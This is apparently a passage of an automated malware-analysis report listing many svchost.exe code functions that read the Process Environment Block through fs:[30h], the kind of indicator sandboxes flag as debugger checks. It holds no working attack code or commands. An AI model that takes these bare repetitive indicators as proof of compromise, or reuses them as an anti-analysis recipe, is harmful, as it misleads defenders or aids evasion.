Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03036259 mov eax, dword ptr fs:[00000030h]	1_2_03036259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030EA250 mov eax, dword ptr fs:[00000030h]	1_2_030EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030EA250 mov eax, dword ptr fs:[00000030h]	1_2_030EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03034260 mov eax, dword ptr fs:[00000030h]	1_2_03034260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03034260 mov eax, dword ptr fs:[00000030h]	1_2_03034260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03034260 mov eax, dword ptr fs:[00000030h]	1_2_03034260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302826B mov eax, dword ptr fs:[00000030h]	1_2_0302826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]	1_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]	1_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]	1_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]	1_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]	1_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]	1_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]	1_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]	1_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]	1_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]	1_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]	1_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E0274 mov eax, dword ptr fs:[00000030h]	1_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306E284 mov eax, dword ptr fs:[00000030h]	1_2_0306E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306E284 mov eax, dword ptr fs:[00000030h]	1_2_0306E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B0283 mov eax, dword ptr fs:[00000030h]	1_2_030B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B0283 mov eax, dword ptr fs:[00000030h]	1_2_030B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B0283 mov eax, dword ptr fs:[00000030h]	1_2_030B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030402A0 mov eax, dword ptr fs:[00000030h]	1_2_030402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030402A0 mov eax, dword ptr fs:[00000030h]	1_2_030402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C62A0 mov eax, dword ptr fs:[00000030h]	1_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C62A0 mov ecx, dword ptr fs:[00000030h]	1_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C62A0 mov eax, dword ptr fs:[00000030h]	1_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C62A0 mov eax, dword ptr fs:[00000030h]	1_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C62A0 mov eax, dword ptr fs:[00000030h]	1_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C62A0 mov eax, dword ptr fs:[00000030h]	1_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0303A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0303A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0303A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0303A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303A2C3 mov eax, dword ptr fs:[00000030h]	1_2_0303A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_031062D6 mov eax, dword ptr fs:[00000030h]	1_2_031062D6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030402E1 mov eax, dword ptr fs:[00000030h]	1_2_030402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030402E1 mov eax, dword ptr fs:[00000030h]	1_2_030402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030402E1 mov eax, dword ptr fs:[00000030h]	1_2_030402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DE10E mov eax, dword ptr fs:[00000030h]	1_2_030DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DE10E mov ecx, dword ptr fs:[00000030h]	1_2_030DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DE10E mov eax, dword ptr fs:[00000030h]	1_2_030DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DE10E mov eax, dword ptr fs:[00000030h]	1_2_030DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DE10E mov ecx, dword ptr fs:[00000030h]	1_2_030DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DE10E mov eax, dword ptr fs:[00000030h]	1_2_030DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DE10E mov eax, dword ptr fs:[00000030h]	1_2_030DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DE10E mov ecx, dword ptr fs:[00000030h]	1_2_030DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DE10E mov eax, dword ptr fs:[00000030h]	1_2_030DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DE10E mov ecx, dword ptr fs:[00000030h]	1_2_030DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DA118 mov ecx, dword ptr fs:[00000030h]	1_2_030DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DA118 mov eax, dword ptr fs:[00000030h]	1_2_030DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DA118 mov eax, dword ptr fs:[00000030h]	1_2_030DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030DA118 mov eax, dword ptr fs:[00000030h]	1_2_030DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F0115 mov eax, dword ptr fs:[00000030h]	1_2_030F0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03060124 mov eax, dword ptr fs:[00000030h]	1_2_03060124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C4144 mov eax, dword ptr fs:[00000030h]	1_2_030C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C4144 mov eax, dword ptr fs:[00000030h]	1_2_030C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C4144 mov ecx, dword ptr fs:[00000030h]	1_2_030C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C4144 mov eax, dword ptr fs:[00000030h]	1_2_030C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C4144 mov eax, dword ptr fs:[00000030h]	1_2_030C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302C156 mov eax, dword ptr fs:[00000030h]	1_2_0302C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C8158 mov eax, dword ptr fs:[00000030h]	1_2_030C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03036154 mov eax, dword ptr fs:[00000030h]	1_2_03036154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03036154 mov eax, dword ptr fs:[00000030h]	1_2_03036154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03104164 mov eax, dword ptr fs:[00000030h]	1_2_03104164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03104164 mov eax, dword ptr fs:[00000030h]	1_2_03104164
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03070185 mov eax, dword ptr fs:[00000030h]	1_2_03070185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030EC188 mov eax, dword ptr fs:[00000030h]	1_2_030EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030EC188 mov eax, dword ptr fs:[00000030h]	1_2_030EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030D4180 mov eax, dword ptr fs:[00000030h]	1_2_030D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030D4180 mov eax, dword ptr fs:[00000030h]	1_2_030D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B019F mov eax, dword ptr fs:[00000030h]	1_2_030B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B019F mov eax, dword ptr fs:[00000030h]	1_2_030B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B019F mov eax, dword ptr fs:[00000030h]	1_2_030B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B019F mov eax, dword ptr fs:[00000030h]	1_2_030B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302A197 mov eax, dword ptr fs:[00000030h]	1_2_0302A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302A197 mov eax, dword ptr fs:[00000030h]	1_2_0302A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302A197 mov eax, dword ptr fs:[00000030h]	1_2_0302A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F61C3 mov eax, dword ptr fs:[00000030h]	1_2_030F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F61C3 mov eax, dword ptr fs:[00000030h]	1_2_030F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_030AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_030AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AE1D0 mov ecx, dword ptr fs:[00000030h]	1_2_030AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_030AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AE1D0 mov eax, dword ptr fs:[00000030h]	1_2_030AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_031061E5 mov eax, dword ptr fs:[00000030h]	1_2_031061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030601F8 mov eax, dword ptr fs:[00000030h]	1_2_030601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B4000 mov ecx, dword ptr fs:[00000030h]	1_2_030B4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030D2000 mov eax, dword ptr fs:[00000030h]	1_2_030D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030D2000 mov eax, dword ptr fs:[00000030h]	1_2_030D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030D2000 mov eax, dword ptr fs:[00000030h]	1_2_030D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030D2000 mov eax, dword ptr fs:[00000030h]	1_2_030D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030D2000 mov eax, dword ptr fs:[00000030h]	1_2_030D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030D2000 mov eax, dword ptr fs:[00000030h]	1_2_030D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030D2000 mov eax, dword ptr fs:[00000030h]	1_2_030D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030D2000 mov eax, dword ptr fs:[00000030h]	1_2_030D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304E016 mov eax, dword ptr fs:[00000030h]	1_2_0304E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304E016 mov eax, dword ptr fs:[00000030h]	1_2_0304E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304E016 mov eax, dword ptr fs:[00000030h]	1_2_0304E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304E016 mov eax, dword ptr fs:[00000030h]	1_2_0304E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302A020 mov eax, dword ptr fs:[00000030h]	1_2_0302A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302C020 mov eax, dword ptr fs:[00000030h]	1_2_0302C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C6030 mov eax, dword ptr fs:[00000030h]	1_2_030C6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03032050 mov eax, dword ptr fs:[00000030h]	1_2_03032050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B6050 mov eax, dword ptr fs:[00000030h]	1_2_030B6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305C073 mov eax, dword ptr fs:[00000030h]	1_2_0305C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303208A mov eax, dword ptr fs:[00000030h]	1_2_0303208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030280A0 mov eax, dword ptr fs:[00000030h]	1_2_030280A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C80A8 mov eax, dword ptr fs:[00000030h]	1_2_030C80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F60B8 mov eax, dword ptr fs:[00000030h]	1_2_030F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F60B8 mov ecx, dword ptr fs:[00000030h]	1_2_030F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B20DE mov eax, dword ptr fs:[00000030h]	1_2_030B20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302A0E3 mov ecx, dword ptr fs:[00000030h]	1_2_0302A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030380E9 mov eax, dword ptr fs:[00000030h]	1_2_030380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B60E0 mov eax, dword ptr fs:[00000030h]	1_2_030B60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0302C0F0 mov eax, dword ptr fs:[00000030h]	1_2_0302C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030720F0 mov ecx, dword ptr fs:[00000030h]	1_2_030720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306C700 mov eax, dword ptr fs:[00000030h]	1_2_0306C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03030710 mov eax, dword ptr fs:[00000030h]	1_2_03030710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03060710 mov eax, dword ptr fs:[00000030h]	1_2_03060710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306C720 mov eax, dword ptr fs:[00000030h]	1_2_0306C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306C720 mov eax, dword ptr fs:[00000030h]	1_2_0306C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306273C mov eax, dword ptr fs:[00000030h]	1_2_0306273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306273C mov ecx, dword ptr fs:[00000030h]	1_2_0306273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306273C mov eax, dword ptr fs:[00000030h]	1_2_0306273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AC730 mov eax, dword ptr fs:[00000030h]	1_2_030AC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306674D mov esi, dword ptr fs:[00000030h]	1_2_0306674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306674D mov eax, dword ptr fs:[00000030h]	1_2_0306674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306674D mov eax, dword ptr fs:[00000030h]	1_2_0306674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03030750 mov eax, dword ptr fs:[00000030h]	1_2_03030750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030BE75D mov eax, dword ptr fs:[00000030h]	1_2_030BE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072750 mov eax, dword ptr fs:[00000030h]	1_2_03072750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072750 mov eax, dword ptr fs:[00000030h]	1_2_03072750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B4755 mov eax, dword ptr fs:[00000030h]	1_2_030B4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03038770 mov eax, dword ptr fs:[00000030h]	1_2_03038770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]	1_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]	1_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]	1_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]	1_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]	1_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]	1_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]	1_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]	1_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]	1_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]	1_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]	1_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040770 mov eax, dword ptr fs:[00000030h]	1_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030D678E mov eax, dword ptr fs:[00000030h]	1_2_030D678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030307AF mov eax, dword ptr fs:[00000030h]	1_2_030307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030E47A0 mov eax, dword ptr fs:[00000030h]	1_2_030E47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303C7C0 mov eax, dword ptr fs:[00000030h]	1_2_0303C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B07C3 mov eax, dword ptr fs:[00000030h]	1_2_030B07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030527ED mov eax, dword ptr fs:[00000030h]	1_2_030527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030527ED mov eax, dword ptr fs:[00000030h]	1_2_030527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030527ED mov eax, dword ptr fs:[00000030h]	1_2_030527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030BE7E1 mov eax, dword ptr fs:[00000030h]	1_2_030BE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030347FB mov eax, dword ptr fs:[00000030h]	1_2_030347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030347FB mov eax, dword ptr fs:[00000030h]	1_2_030347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AE609 mov eax, dword ptr fs:[00000030h]	1_2_030AE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304260B mov eax, dword ptr fs:[00000030h]	1_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304260B mov eax, dword ptr fs:[00000030h]	1_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304260B mov eax, dword ptr fs:[00000030h]	1_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304260B mov eax, dword ptr fs:[00000030h]	1_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304260B mov eax, dword ptr fs:[00000030h]	1_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304260B mov eax, dword ptr fs:[00000030h]	1_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304260B mov eax, dword ptr fs:[00000030h]	1_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03072619 mov eax, dword ptr fs:[00000030h]	1_2_03072619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304E627 mov eax, dword ptr fs:[00000030h]	1_2_0304E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03066620 mov eax, dword ptr fs:[00000030h]	1_2_03066620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03068620 mov eax, dword ptr fs:[00000030h]	1_2_03068620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0303262C mov eax, dword ptr fs:[00000030h]	1_2_0303262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0304C640 mov eax, dword ptr fs:[00000030h]	1_2_0304C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F866E mov eax, dword ptr fs:[00000030h]	1_2_030F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030F866E mov eax, dword ptr fs:[00000030h]	1_2_030F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306A660 mov eax, dword ptr fs:[00000030h]	1_2_0306A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306A660 mov eax, dword ptr fs:[00000030h]	1_2_0306A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03062674 mov eax, dword ptr fs:[00000030h]	1_2_03062674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03034690 mov eax, dword ptr fs:[00000030h]	1_2_03034690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03034690 mov eax, dword ptr fs:[00000030h]	1_2_03034690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306C6A6 mov eax, dword ptr fs:[00000030h]	1_2_0306C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030666B0 mov eax, dword ptr fs:[00000030h]	1_2_030666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306A6C7 mov ebx, dword ptr fs:[00000030h]	1_2_0306A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306A6C7 mov eax, dword ptr fs:[00000030h]	1_2_0306A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_030AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_030AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_030AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_030AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B06F1 mov eax, dword ptr fs:[00000030h]	1_2_030B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B06F1 mov eax, dword ptr fs:[00000030h]	1_2_030B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030C6500 mov eax, dword ptr fs:[00000030h]	1_2_030C6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03104500 mov eax, dword ptr fs:[00000030h]	1_2_03104500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03104500 mov eax, dword ptr fs:[00000030h]	1_2_03104500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03104500 mov eax, dword ptr fs:[00000030h]	1_2_03104500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03104500 mov eax, dword ptr fs:[00000030h]	1_2_03104500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03104500 mov eax, dword ptr fs:[00000030h]	1_2_03104500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03104500 mov eax, dword ptr fs:[00000030h]	1_2_03104500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03104500 mov eax, dword ptr fs:[00000030h]	1_2_03104500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040535 mov eax, dword ptr fs:[00000030h]	1_2_03040535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040535 mov eax, dword ptr fs:[00000030h]	1_2_03040535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040535 mov eax, dword ptr fs:[00000030h]	1_2_03040535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040535 mov eax, dword ptr fs:[00000030h]	1_2_03040535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040535 mov eax, dword ptr fs:[00000030h]	1_2_03040535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03040535 mov eax, dword ptr fs:[00000030h]	1_2_03040535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305E53E mov eax, dword ptr fs:[00000030h]	1_2_0305E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305E53E mov eax, dword ptr fs:[00000030h]	1_2_0305E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305E53E mov eax, dword ptr fs:[00000030h]	1_2_0305E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305E53E mov eax, dword ptr fs:[00000030h]	1_2_0305E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0305E53E mov eax, dword ptr fs:[00000030h]	1_2_0305E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03038550 mov eax, dword ptr fs:[00000030h]	1_2_03038550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03038550 mov eax, dword ptr fs:[00000030h]	1_2_03038550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306656A mov eax, dword ptr fs:[00000030h]	1_2_0306656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306656A mov eax, dword ptr fs:[00000030h]	1_2_0306656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306656A mov eax, dword ptr fs:[00000030h]	1_2_0306656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03032582 mov eax, dword ptr fs:[00000030h]	1_2_03032582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03032582 mov ecx, dword ptr fs:[00000030h]	1_2_03032582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03064588 mov eax, dword ptr fs:[00000030h]	1_2_03064588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0306E59C mov eax, dword ptr fs:[00000030h]	1_2_0306E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B05A7 mov eax, dword ptr fs:[00000030h]	1_2_030B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B05A7 mov eax, dword ptr fs:[00000030h]	1_2_030B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030B05A7 mov eax, dword ptr fs:[00000030h]	1_2_030B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_030545B1 mov eax, dword ptr fs:[00000030h]	1_2_030545B1
